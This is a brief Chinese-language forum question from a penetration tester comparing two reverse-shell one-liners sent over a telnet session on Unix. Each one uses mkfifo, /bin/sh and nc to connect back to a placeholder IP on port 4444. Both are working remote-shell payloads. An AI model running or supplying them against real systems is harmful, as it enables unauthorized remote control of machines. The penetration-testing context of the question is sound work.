尝试理解 telnet 行为并在 Unix 中渗透测试反向 shell

尝试理解 telnet 行为并在 Unix 中渗透测试反向 shell

第一个对我来说不起作用,第二个在 telnet 会话中起作用,Unix:

以下两者有何区别:

.RUN rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ip 4444 >/tmp/f

和这个:

.RUN mkfifo /tmp/sgrj; nc ip 4444 0</tmp/sgrj | /bin/sh >/tmp/sgrj 2>&1; rm /tmp/sgrj 

San,有人解释一下为什么吗?

相关内容